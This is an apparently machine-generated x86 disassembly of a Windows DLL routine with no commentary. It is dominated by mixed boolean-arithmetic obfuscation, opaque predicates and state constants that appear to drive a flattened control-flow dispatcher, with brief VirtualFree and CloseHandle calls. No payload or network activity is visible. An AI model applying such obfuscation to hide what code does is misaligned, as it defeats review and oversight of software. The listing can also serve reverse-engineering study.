and eax, 0xb769163b
or eax, edx
xor eax, 0xb769163b
or eax, ecx
mov edx, ebx
not edx
mov ecx, edx
or ecx, eax
and edx, 0xe0919514
and ebx, 0x1f6e6aeb
or ebx, edx
xor ebx, eax
mov eax, ebx
xor eax, 0x1f6e6aeb
xor ebx, 0xe0919514
mov edx, ebx
and edx, 0x35435be8
and eax, 0xcabca417
or eax, edx
xor eax, ecx
xor eax, 0xcabca417
or ebx, ecx
not ebx
or ebx, eax
mov ecx, ebx
not ecx
mov eax, ecx
mov esi, ecx
and eax, 0x7215c609
mov ecx, ebx
and ecx, 0x8dea39f6
or ecx, eax
xor ecx, 0x8dea39f6
mov edx, esi
mov dword [ebp - 0x14], esi
and edx, ebx
or edx, ecx
mov eax, edx
not eax
and edx, 0x7aa01d16
and eax, 0x855fe2e9
or eax, edx
mov ecx, esi
and ecx, 0xb4d16a8
mov edx, ebx
and edx, 0xf4b2e957
or edx, ecx
mov edi, edx
xor edi, 0xf4b2e957
xor edx, 0x3450220
and edx, 0x53f70336
mov ecx, edi
and ecx, 0xac08fcc9
or ecx, edx
xor ecx, 0xac08fcc9
or ecx, edi
mov esi, eax
xor esi, 0x4920e0
xor eax, 0x7aa01d16
mov edx, eax
and eax, 0xc516da1b
and esi, 0x3ae925e4
or esi, eax
or edx, ecx
not edx
xor esi, ecx
xor esi, 0x3ae925e4
or esi, edx
mov edx, esi
not edx
mov dword [ebp - 0x18], edx
mov eax, esi
mov dword [ebp - 0x1c], esi
or eax, 0x3621008
and eax, 0x5be7918f
mov ecx, edx
and ecx, 0x80186030
or ecx, eax
or edx, 0x58858187
and edx, 0x5be7918f
mov eax, esi
and eax, 0x24000e40
or eax, edx
xor eax, ecx
mov esi, eax
xor esi, 0x27621e48
xor eax, 0x10842002
and eax, 0x14a43202
mov ecx, esi
and esi, 0xeb5bcdfd
or esi, eax
and ecx, 0x14a43202
or esi, ecx
mov edi, ebx
or edi, 0x14a43202
mov eax, edi
and eax, 0x2c92a87
mov ecx, dword [ebp - 0x14]
and ecx, 0xe912c578
or ecx, eax
mov eax, ebx
xor eax, 0xeb5bcdfd
and eax, ebx
mov edx, eax
not edx
or edi, edx
and edx, 0x2c92a87
and eax, 0xfd36d578
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x4be8aa1b
and eax, 0xb41755e4
or eax, ecx
or edi, ebx
and ebx, 0x4be8aa1b
mov ecx, dword [ebp - 0x14]
and ecx, 0xb41755e4
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
mov ebx, edi
not ebx
mov dword [ebp - 0x24], ebx
mov eax, edi
and eax, 0xc09650da
and ebx, 0x3f69af25
or ebx, eax
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
and eax, 0xf2ad0367
mov edx, esi
and edx, 0xd52fc98
or edx, eax
mov eax, ebx
xor eax, 0xd40ac00
xor ebx, 0xc09650da
mov ecx, dword [ebp - 0x14]
or ecx, ebx
and ebx, 0xf2ad0367
and eax, 0xd52fc98
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov dword [ebp - 0x20], ecx
mov ebx, edi
xor edi, 0xdb22f999
mov eax, dword [ebp - 0x24]
and edi, eax
and ebx, 0x20c10646
and eax, 0x41c0020
or eax, ebx
mov edx, esi
and edx, 0x24dd0646
mov ecx, dword [ebp - 0x14]
mov ebx, ecx
and ebx, 0x20
or ebx, edx
xor ebx, 0x20
not edx
and edx, 0x931505
and ebx, 0x244c0262
or ebx, edx
or esi, 0x910404
and esi, 0x931505
and ecx, 0xdb20e898
or ecx, esi
mov edx, eax
xor edx, 0x140020
xor eax, 0xfbe3ffdf
mov esi, eax
and esi, 0x47e86d0c
and edx, 0x20150262
or edx, esi
mov esi, edi
not esi
or eax, esi
and esi, 0x47e86d0c
and edi, 0xb81792f3
or edi, esi
xor edi, edx
not eax
or eax, edi
xor eax, ecx
xor eax, ebx
mov ecx, dword [ebp - 0x20]
mov edx, ecx
not edx
mov edi, eax
not edi
mov esi, edx
xor esi, edi
and esi, edx
and ecx, 0x509baefb
and edx, 0xaf645104
or edx, ecx
and edi, 0x509baefb
and eax, 0xaf645104
or eax, edi
xor eax, edx
or eax, esi
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x8ca20400
and edx, 0x8eba1629
mov edi, ecx
and edi, 0x504541c2
or edi, edx
mov edx, eax
xor edx, 0x525d53eb
and edx, eax
mov ebx, edx
not ebx
mov esi, eax
or esi, ebx
and ebx, 0x8eba1629
and edx, 0x7145e9d6
or edx, ebx
xor edx, edi
not esi
or esi, edx
not edx
and edx, 0x4a02000
and esi, 0x10041203
or esi, edx
mov edx, ecx
and edx, 0x14a43203
and eax, 0xeb5bcdfc
or eax, edx
xor ecx, eax
and ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x3fc94fe3
and eax, edx
and ecx, 0xc036b01c
or ecx, eax
mov edi, esi
xor edi, 0x3fc94fe3
mov ebx, edi
and edi, esi
not esi
mov dword [ebp - 0x14], esi
and ebx, esi
mov esi, ebx
not esi
mov eax, esi
and eax, 0x8412b00a
and ebx, 0x39a54ee1
or ebx, eax
mov eax, edi
not eax
or esi, eax
and eax, 0x865ab10a
and edi, 0x10a40201
or edi, eax
xor edi, ebx
not esi
or esi, edi
xor esi, ecx
or edx, dword [ebp - 0x14]
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xdea30557
and esi, 0x215cfaa8
or esi, eax
mov eax, edx
not eax
or ecx, edx
and edx, 0xdea30557
and eax, 0x43200
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
mov edi, dword [ebp - 0x18]
mov eax, edi
and eax, 0x859ae0f5
mov edx, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 0x7a651f0a
or ecx, eax
xor ecx, 0x7a651f0b
mov esi, ecx
mov eax, edi
xor esi, edi
and esi, ecx
or edi, 0xc19723ec
and eax, 0xc19723ec
mov ecx, edx
and ecx, 0x3e68dc12
or ecx, eax
and edi, 0xc19723ed
xor edi, ecx
mov ebx, esi
or ebx, 0xc8b993f3
mov eax, esi
not eax
mov dword [ebp - 0x18], eax
mov ecx, ebx
and ecx, 0xd236b2bd
and eax, 0x25404c00
or eax, ecx
mov ecx, esi
xor ecx, 0x37466c0c
and ecx, esi
mov edx, ecx
not edx
or ebx, edx
and edx, 0xd236b2bd
and ecx, 0x2dc94d42
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov dword [ebp - 0x1c], ebx
mov ecx, edi
mov dword [ebp - 0x20], edi
mov ebx, edi
or ebx, 0xc8b993f3
not edi
mov eax, ebx
and eax, 0x52e6e202
mov edx, edi
and edx, 0x25000c0c
or edx, eax
mov eax, ecx
xor eax, 0x37466c0c
and eax, ecx
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0x52e6e202
and eax, 0xad191dfd
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
xor ebx, dword [ebp - 0x1c]
mov eax, esi
and eax, 0xfb57f86d
mov ecx, dword [ebp - 0x18]
and ecx, 0x4a80792
or ecx, eax
mov eax, dword [ebp - 0x20]
or esi, eax
and eax, 0xfb57f86d
and edi, 0x4a80792
or edi, eax
xor edi, ecx
not esi
or esi, edi
not esi
or esi, ebx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x30787293
and eax, esi
and esi, 0xcf878d6c
or esi, ecx
mov ecx, esi
xor ecx, 0x87010c08
xor esi, 0x30787293
mov edx, esi
and edx, 0x789ed3f5
and ecx, 0x87612c0a
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x789ed3f5
and eax, 0x87612c0a
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov edx, eax
not edx
mov edi, edx
and edi, 0x1d1fc602
and eax, 0xe2e039fd
or eax, edi
or edx, ecx
and ecx, 0x1d1fc602
and esi, 0xe2e039fd
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
mov esi, edx
or esi, 0xd91df4dc
mov ecx, esi
and ecx, 0xf9ce9b46
mov edi, eax
and edi, 0x6200021
or edi, ecx
mov ecx, edx
xor ecx, 0x26e20b23
and ecx, edx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0xf9ce9b46
and ecx, 0x63164b9
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0x26e20b23
xor esi, 0xd91df4dc
and eax, esi
and ecx, edx
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
mov dword [ebp - 0x18], eax
mov edx, ecx
and edx, 0x4ea7e530
and eax, 0xb1581acf
or eax, edx
mov edi, dword [ebp - 0x14]
mov esi, edi
not esi
mov edx, esi
and edx, 0x66c52962
mov ebx, edi
and ebx, 0x993ad69d
or ebx, edx
mov edx, eax
xor edx, 0x9118128d
xor eax, 0x46852120
and eax, 0x66c52962
and edx, 0x993ad69d
or edx, eax
xor edx, ebx
mov eax, edi
xor eax, 0xf6544c8
and eax, edi
not edx
or edx, esi
and esi, 0xb240000
and edi, 0x44144c8
or edi, esi
xor edi, 0x44144c8
or eax, edi
mov edi, ecx
xor ecx, 0xf09abb37
mov esi, dword [ebp - 0x18]
and ecx, esi
and edi, 0x650080
and esi, 0xf004448
or esi, edi
mov edi, esi
xor edi, 0x7000408
xor esi, 0xf0ffbbb7
mov ebx, esi
and ebx, 0xd8f54b75
and edi, 0x7000488
or edi, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0xd8f54b75
and ecx, 0x270ab48a
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
xor esi, eax
mov eax, esi
and esi, edx
mov ecx, edx
not ecx
not eax
mov edx, ecx
xor edx, eax
and edx, ecx
and eax, ecx
or eax, esi
mov ecx, edx
not ecx
mov esi, eax
not esi
mov edi, ecx
and edi, 0x7efaf4e3
and edx, 0x81050b1c
or edx, edi
or ecx, esi
and esi, 0x7efaf4e3
and eax, 0x81050b1c
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xe0b6e93
mov esi, ecx
and esi, 0xf1f4916c
or esi, edx
mov edx, esi
xor edx, 0xb0600040
xor esi, 0xe0b6e93
mov edi, esi
and edi, 0x419f932d
and edx, 0xbe606cd2
or edx, edi
mov edi, eax
and edi, ecx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0x419f932d
and edi, 0xbe606cd2
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov edx, esi
not edx
and edx, 0xb5965c2b
and esi, 0x4a69a3d4
or esi, edx
mov edx, esi
xor edx, 0xb5965c2b
xor esi, 0x4a69a3d4
mov edi, esi
and edi, 0x97c57470
and esi, edx
and edx, 0x683a8b8f
or edx, edi
mov edi, edx
xor edi, 0x401a0a0c
xor edx, 0x97c57470
mov ebx, edx
and ebx, 0xa960d1f3
and edi, 0x569f2e0c
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0xa960d1f3
and esi, 0x569f2e0c
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov edi, eax
and edi, 0x9c44298f
mov esi, ecx
and esi, 0x63bbd670
or esi, edi
mov edi, eax
and edi, 0xe81c9baa
and ecx, 0x17e36455
or ecx, edi
mov edi, esi
xor edi, 0x3a34450
xor esi, 0x9c44298f
or eax, esi
and esi, 0xe81c9baa
and edi, 0x17e36455
or edi, esi
xor edi, ecx
not eax
or eax, edi
mov edi, eax
not edi
mov esi, eax
and esi, 0x1e6cf710
mov ecx, edi
and ecx, 0xe19308ef
or ecx, esi
mov esi, edx
not esi
mov ebx, ecx
xor ebx, 0xe19308ef
and ebx, edx
xor ecx, 0x1e6cf710
and ecx, esi
or ecx, ebx
not ecx
or ecx, edx
and eax, 0x91263af7
and edi, 0x6ed9c508
or edi, eax
mov eax, esi
or eax, 0x2e594400
and eax, 0x2f594e55
mov ebx, edx
and edx, 0x902630a2
or edx, eax
or ebx, 0x1000a55
and ebx, 0x2f594e55
and esi, 0x40808108
or esi, ebx
mov eax, ecx
not eax
xor esi, edi
xor esi, edx
mov edx, ecx
and edx, 0xd57c59fb
mov ebx, ecx
xor ebx, 0x2a83a604
and ebx, eax
or ebx, edx
mov edi, esi
not edi
mov edx, edi
and edx, 0xd57c59fb
mov dword [ebp - 0x14], edx
mov edx, esi
xor edx, 0xd57c59fb
and edx, esi
or edx, dword [ebp - 0x14]
xor edx, ebx
mov ebx, eax
and ebx, 0xd93ce649
and ecx, 0x26c319b6
or ecx, ebx
or eax, esi
and esi, 0xd93ce649
and edi, 0x26c319b6
or edi, esi
xor edi, ecx
not eax
or eax, edi
not eax
or eax, edx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x336b535
mov edx, eax
and edx, 0xfcc94aca
or edx, esi
mov esi, edx
xor esi, 0x58494040
xor edx, 0x336b535
mov edi, edx
and edi, 0xa7b43e9f
and esi, 0x584bc160
or esi, edi
mov edi, ecx
and edi, eax
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0xa7b43e9f
and edi, 0x584bc160
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov edi, edx
not edi
and edx, 0x88ae9e99
and edi, 0x77516166
or edi, edx
mov edx, edi
xor edx, 0xfc75de65
xor edi, 0x77516166
and edi, edx
mov edx, ecx
and edx, 0x9c8064db
mov esi, eax
and esi, 0x637f9b24
or esi, edx
xor esi, 0x17a4dbd8
or esi, ecx
xor esi, edi
and edi, esi
not esi
or esi, edi
mov edx, esi
xor edx, 0x74db40fc
xor esi, 0x8b24bf03
mov edi, edx
or edi, 0x47d00800
and edi, 0xc7dba825
mov ebx, esi
and esi, 0x8245392
or esi, edi
or ebx, 0x800ba025
and ebx, 0xc7dba825
and edx, 0x30000448
or edx, ebx
xor edx, esi
mov esi, ecx
and esi, 0x2480d032
mov edi, eax
and edi, 0x923821c0
or edi, esi
mov esi, edi
xor esi, 0x12182080
xor edi, 0xcc4c20f
and edi, 0x8ce4c34f
and esi, 0x321830b0
or esi, edi
or ecx, 0x84a0c142
and ecx, 0x8ce4c34f
and eax, 0x41030c00
or eax, ecx
mov ecx, edx
xor ecx, 0x77d00c48
xor eax, esi
mov esi, eax
xor esi, 0x49470e0d
xor eax, 0xb6b8f1f2
xor edx, 0x882ff3b7
and edx, esi
mov esi, ecx
xor esi, eax
and esi, ecx
and eax, ecx
or eax, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xeec971d5
and esi, 0x11368e2a
or esi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0xeec971d5
and eax, 0x11368e2a
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x49b62c23
and eax, ecx
and ecx, 0xb649d3dc
or ecx, edx
xor ecx, 0xb649d3dc
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5cde864a
and ecx, 0xa32179b5
or ecx, edx
xor ecx, 0xa32179b5
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ch
cmp dword [0x10045904], 0xa
setge al
setl ah
mov cl, al
or cl, dl
mov ebx, ecx
xor bl, 1
mov dh, bl
and dh, cl
xor dh, 1
mov bh, dh
xor bh, cl
or dh, cl
mov cl, al
inc cl
or cl, ch
xor dh, 1
or dh, bh
mov bh, dh
and bh, cl
xor cl, 1
xor dh, 1
and dh, cl
or dh, bh
mov bh, cl
xor bh, bl
or cl, bl
xor cl, 1
or cl, bh
xor dh, 1
mov bl, dh
xor bl, cl
or dh, cl
xor dh, 1
or dh, bl
xor dh, 1
mov cl, ah
xor cl, dh
xor cl, 1
or cl, dh
mov dh, dl
and dh, al
mov bl, ah
and bl, ch
or al, ch
xor ch, ah
xor ch, 1
or ch, dl
or bl, dh
mov dh, ch
xor dh, 1
xor ah, dl
xor al, 1
or al, ah
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov dl, bl
and dl, al
xor dl, 1
or dl, al
and al, ch
mov ah, dh
and ah, bl
or ah, al
xor dl, 1
or dl, bl
xor ah, 1
or ah, ch
and ch, dl
xor dl, 1
and dl, dh
mov dh, ah
xor dh, 1
or dl, ch
xor dl, 1
mov al, ah
and al, dh
xor al, 1
or al, dh
xor al, 1
or al, ah
xor al, dl
or dl, ah
xor al, 1
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
or dl, cl
or al, cl
xor cl, 1
xor dl, 1
or ah, cl
xor ah, 1
xor al, 1
or al, ah
mov ecx, edx
xor cl, al
or al, dl
mov edx, ecx
and dl, al
xor cl, 1
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov eax, ecx
xor al, ch
test al, 1
mov edx, 0xbf0a764f
mov eax, 0x637c90ba
cmovne edx, eax
test cl, 1
mov eax, 0xbf0a764f
jmp 0x1002466d
mov eax, dword [ebp - 0x40]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0xbf0a764f
jmp 0x1000f9b0
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0xaab0d565
jmp 0x1000f9b0
mov eax, dword [ebp - 0x4c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10045900]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov dword [ebp - 0x14], edx
mov esi, edx
and esi, eax
mov ecx, eax
and ecx, 0x49b02478
and edx, 0x44c382
or edx, ecx
mov edi, esi
not edi
mov ecx, edi
mov ebx, edi
mov dword [ebp - 0x18], edi
and ecx, 0x49b02478
mov edi, esi
and edi, 0x44c382
or edi, ecx
xor edi, edx
mov edx, eax
or edx, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
or ecx, 0xa4091801
and edx, 0x48e065d8
and ecx, 0xa51d9a23
or ecx, edx
mov edx, ecx
xor edx, 0x1158a23
mov edi, ecx
xor ecx, 0x492061d2
and ecx, edx
xor edi, 0x4a2061d0
and edi, 0x4a35ebf1
or ecx, edi
mov edi, dword [ebp - 0x14]
or edi, 0x49f4e7fa
mov edx, edi
xor edx, 0xb0080004
xor edi, 0x20000
and edi, 0x582140a
and edx, 0xfa1d0bd5
or edx, edi
and ecx, 0x4bf5effb
xor ecx, edx
mov ebx, ecx
xor ebx, 0x5a0f42a
mov edx, ecx
xor edx, 0xfa5f0bd5
mov edi, edx
and edi, 0x4010000
xor ecx, 0xb3abec2f
and ecx, ebx
and ebx, 0xb20a1805
or ebx, edi
xor ebx, 0x4df5e7fa
mov edi, ebx
and edi, 0x86c34f54
and edx, 0x30081001
or edx, edi
mov edi, ecx
not edi
or ebx, edi
and edi, 0x86c34f54
and ecx, 0x793cb0ab
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
xor ecx, 0xeb567aa4
and ecx, ebx
mov edi, ebx
mov edx, ebx
or edx, 0x14a9855b
not edi
mov ebx, edx
and ebx, 0x9de7535c
and edi, 0x621028a0
or edi, ebx
mov ebx, ecx
not ebx
or edx, ebx
and ebx, 0x9de7535c
and ecx, 0x6218aca3
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0x14a9855b
xor edx, 0x2a5628a4
and edx, 0x2efeade5
mov edi, ecx
and edi, 0xd101521a
or edi, edx
mov ebx, edi
xor ebx, 0xd101521a
mov edx, edi
xor edx, 0x3e7798c3
and edx, ebx
and ecx, 0xef76cad9
or ecx, edx
or ebx, 0x2025214
xor edi, 0x20208401
and edi, 0x70208409
and ebx, 0xfdb5b34
or ebx, edi
mov edx, ecx
xor edx, 0x6d70b80f
xor ecx, 0x928f47f0
mov edi, ecx
and edi, 0xdadeb88f
and edx, 0x25214770
or edx, edi
mov edi, ebx
xor edi, 0x5010120
xor ebx, 0xf024a4cb
or ecx, ebx
and ebx, 0xdadeb88f
and edi, 0x25210520
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x450e30c7
and edx, 0xbaf1cf38
or edx, ecx
mov ecx, edx
xor ecx, 0x28e04a38
xor edx, 0x5041042
and edx, 0x97159542
and ecx, 0x68ea6abd
or ecx, edx
mov edi, ecx
mov ecx, dword [ebp - 0x14]
and ecx, 0x861925ae
and eax, 0x79e6da51
or eax, ecx
mov ecx, eax
xor ecx, 0x71068a50
xor eax, 0x861925ae
mov edx, eax
and edx, 0x88f0518f
and ecx, 0x770fae70
or ecx, edx
mov edx, dword [ebp - 0x18]
or eax, edx
and edx, 0x88f0518f
and esi, 0x770fae70
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov edx, eax
not edx
mov esi, edx
or esi, 0x7df98d29
and edx, 0x820672d6
mov ecx, eax
and ecx, 0x7df98d29
or ecx, edx
mov edx, esi
and edx, 0x388a78c6
and eax, 0x82040210
or eax, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0x388a78c6
and ecx, 0xc7758739
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, esi
mov eax, esi
and eax, 0x9b29daed
and edx, 0x64d62512
or edx, eax
mov eax, ecx
not eax
or esi, eax
and eax, 0x9b29daed
and ecx, 0x64d62512
or ecx, eax
mov eax, edi
xor eax, 0x97159542
xor edi, 0x68ea6abd
xor ecx, edx
not esi
or esi, ecx
mov ebx, eax
and ebx, edi
mov ecx, eax
and ecx, 0xda8203a3
mov edx, edi
and edi, 0x257dfc5c
or edi, ecx
not edi
or edi, eax
mov dword [ebp - 0x30], edi
and eax, 0xe96d2f49
and edx, 0x1692d0b6
or edx, eax
mov eax, edx
xor eax, 0x12920080
xor edx, 0xe96d2f49
mov ecx, edx
and ecx, 0xe404d277
and eax, 0x1bfb2d88
or eax, ecx
mov ecx, ebx
not ecx
or edx, ecx
and ecx, 0xe404d277
and ebx, 0x1bfb2d88
or ebx, ecx
xor ebx, eax
mov eax, esi
not eax
mov dword [ebp - 0x18], eax
not edx
or edx, ebx
mov dword [ebp - 0x28], edx
and eax, 0x10964380
mov ecx, esi
and ecx, 0x8090021
or ecx, eax
xor ecx, 0x8090021
mov ebx, esi
and ebx, 0xe760bc5e
or ebx, ecx
mov eax, edx
not eax
mov dword [ebp - 0x20], eax
and eax, 0x257dfc5c
mov ecx, edx
and ecx, 0xda8203a3
or ecx, eax
mov edi, ecx
xor edi, dword [ebp - 0x20]
and edi, ecx
mov ecx, ebx
xor ecx, 0xe760bc5e
mov dword [ebp - 0x24], ecx
xor ebx, 0x189f43a1
mov dword [ebp - 0x2c], ebx
mov eax, ebx
and eax, 0x5b468da6
and ecx, 0xa4b97259
or ecx, eax
xor ecx, 0x7e3b71fa
mov eax, ecx
xor eax, ebx
and eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
mov eax, ecx
and eax, 0x35cb497e
and esi, 0xca34b681
or esi, eax
xor esi, 0xef494add
xor ecx, esi
and ecx, esi
mov dword [ebp - 0x18], ecx
mov esi, dword [ebp - 0x30]
mov edx, esi
not edx
mov ecx, esi
and ecx, 0x20ff7ea6
mov eax, edx
and eax, 0xdf008159
or eax, ecx
mov ebx, edi
xor ebx, 0xdcbac945
mov ecx, ebx
and ebx, edi
not edi
and ecx, edi
or ebx, ecx
mov ecx, eax
xor ecx, 0xb80804
or ecx, 0x22401420
mov dword [ebp - 0x14], eax
xor eax, 0x5c000141
and ecx, 0xa2f89c24
and eax, 0x5c024141
or eax, ecx
or esi, 0x80b88804
and esi, 0xa2f89c24
and edx, 0x105229a
or edx, esi
xor edx, eax
mov eax, edx
xor eax, edx
not eax
and eax, ebx
xor eax, edx
mov ecx, dword [ebp - 0x14]
xor ecx, 0xdf008159
or ecx, edi
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
mov esi, dword [ebp - 0x1c]
mov edi, esi
not edi
mov eax, edi
and eax, 0xbe1f8924
mov ecx, esi
and ecx, 0x41e076db
or ecx, eax
mov edx, ecx
xor edx, 0x361c0800
or edx, 0x8018063
mov eax, ecx
xor ecx, 0x40802080
and edx, 0x3e7d9c63
and ecx, 0x40802084
or ecx, edx
or edi, 0x367c1c00
and edi, 0x3e7d9c63
mov edx, esi
and edx, 0x81024318
or edx, edi
mov dword [ebp - 0x1c], edx
xor eax, 0x41e076db
mov esi, dword [ebp - 0x18]
mov edx, esi
xor edx, 0x76fc3c84
and edx, esi
mov edi, esi
not esi
or edi, 0x8903c37b
mov ebx, edi
and ebx, 0xab440ad8
or eax, esi
and esi, 0x54b83404
or esi, ebx
mov ebx, edx
not ebx
or edi, ebx
and ebx, 0xab440ad8
and edx, 0x54bbf527
or edx, ebx
xor edx, esi
not edi
or edi, edx
xor edi, dword [ebp - 0x1c]
xor edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x394b266a
and edi, 0xc6b4d995
or edi, edx
mov edx, eax
not edx
or ecx, eax
and eax, 0x394b266a
and edx, 0xc6b4d995
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov edi, dword [ebp - 0x14]
mov eax, edi
not eax
mov esi, eax
and esi, 0x4b6bab40
mov edx, edi
and edx, 0xb49454bf
or edx, esi
not ecx
xor edx, 0x4b6bab40
or edx, ecx
xor ecx, eax
and ecx, edi
not edx
or ecx, edx
mov eax, dword [ebp - 0x28]
mov esi, eax
mov edi, dword [ebp - 0x2c]
xor esi, edi
and esi, eax
mov edx, dword [ebp - 0x20]
and edx, 0x6ecb09e1
and eax, 0x9134f61e
or eax, edx
and edi, 0x6ecb09e1
mov edx, edi
mov edi, dword [ebp - 0x24]
and edi, 0x9134f61e
or edi, edx
xor edi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0xe4b6ddfa
and esi, 0x1b492205
or esi, edx
mov edx, edi
not edx
or eax, edx
and edx, 0xe4b6ddfa
and edi, 0x1b492205
or edi, edx
xor edi, esi
not eax
or eax, edi
mov edx, eax
not edx
and edx, 0x7e274c97
and eax, 0x81d8b368
or eax, edx
mov edi, eax
xor edi, 0x10260810
xor eax, 0x80081368
and eax, 0xee0957ef
and edi, 0x11f6a810
or edi, eax
mov edx, edi
xor edx, 0xd62000
xor edi, 0xee0957ef
mov esi, ecx
xor esi, edi
and esi, ecx
and edi, 0xbd219a1c
and edx, 0x42de65e3
or edx, edi
xor edx, ecx
mov ecx, edx
xor ecx, 0xbd219a1c
mov eax, esi
not eax
xor edx, 0x42de65e3
mov edi, eax
and edi, 0xefbab072
and esi, 0x10454f8d
or esi, edi
or eax, edx
and edx, 0xefbab072
and ecx, 0x10454f8d
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0xc5ac0281
mov esi, ecx
or esi, 0x32131402
and edx, 0xf7bf1683
mov edi, ecx
and edi, 0x840c150
or edi, edx
and esi, 0xf7bf1683
mov edx, eax
and edx, 0x282c
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x45a0280c
xor edx, 0x3a53d552
and esi, 0x7fa1a84e
mov edi, edx
and edi, 0x805e57b1
or edi, esi
xor edi, 0x35bf0b8
and edx, 0x7cfa58f6
or edx, edi
mov esi, edx
not esi
and eax, 0x6bfb22ac
mov edi, ecx
and edi, 0x9404dd53
or edi, eax
xor edi, 0xe8fe85a5
and ecx, 0x8305a709
or ecx, edi
mov eax, ecx
not eax
mov edi, edx
or edi, ecx
not edi
and edx, 0x96efc9d1
and esi, 0x6910362e
or esi, edx
and ecx, 0x96efc9d1
and eax, 0x6910362e
or eax, ecx
xor eax, esi
or eax, edi
mov ebx, eax
mov ecx, eax
xor ecx, 0x327c1d6b
and ecx, eax
mov edx, eax
or edx, 0xcd83e294
not ebx
mov esi, ecx
not esi
mov edi, edx
and edi, 0xce7b7146
and ebx, 0x30040c29
or ebx, edi
or edx, esi
and esi, 0xce7b7146
and ecx, 0x31848eb9
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
xor eax, 0xcc80374b
xor edx, 0x337fc8b4
mov ecx, edx
or ecx, 1
mov edi, eax
or edi, 0x1b93e9d6
and edi, 0x1b93e9d7
and ecx, 0x1b93e9d7
mov esi, eax
mov ebx, eax
and esi, 0xe46c1628
or esi, ecx
xor esi, edi
mov eax, esi
not eax
mov edi, eax
and edi, 0xe73bb1d7
and esi, 0x18c44e28
or esi, edi
mov edi, ebx
mov ecx, ebx
and edi, 0xe73bb1d7
mov ebx, edx
and ebx, 0x18c44e28
or ebx, edi
xor ebx, esi
xor eax, ebx
and eax, ebx
mov dword [ebp - 0x18], eax
mov esi, ecx
and esi, 0xc516cac3
mov ebx, edx
and ebx, 0x3ae9353c
or ebx, esi
mov esi, edx
and esi, ecx
mov eax, esi
not eax
mov edi, ecx
or edi, eax
and eax, 0xc516cac3
and esi, 0x3ae9353c
or esi, eax
xor esi, ebx
not edi
or edi, esi
mov eax, edi
not eax
and eax, 0x44a3115e
and edi, 0xbb5ceea1
or edi, eax
mov esi, edi
xor esi, 0x44a3115e
and esi, edi
mov eax, edx
and eax, 0x51b4d0f2
and ecx, 0xae4b2f0d
or ecx, eax
xor ecx, 0xeae83e53
xor edx, ecx
and edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x538ca048
and edx, 0xac735fb7
or edx, eax
mov edi, esi
not edi
mov eax, esi
or eax, 0xac520d80
and eax, 0xbf5a0d80
mov ebx, edi
and ebx, 0x4084a048
or ebx, eax
xor ebx, edx
or ecx, edi
or edi, 0x13080000
and edi, 0xbf5a0d80
and esi, 0x215237
or esi, edi
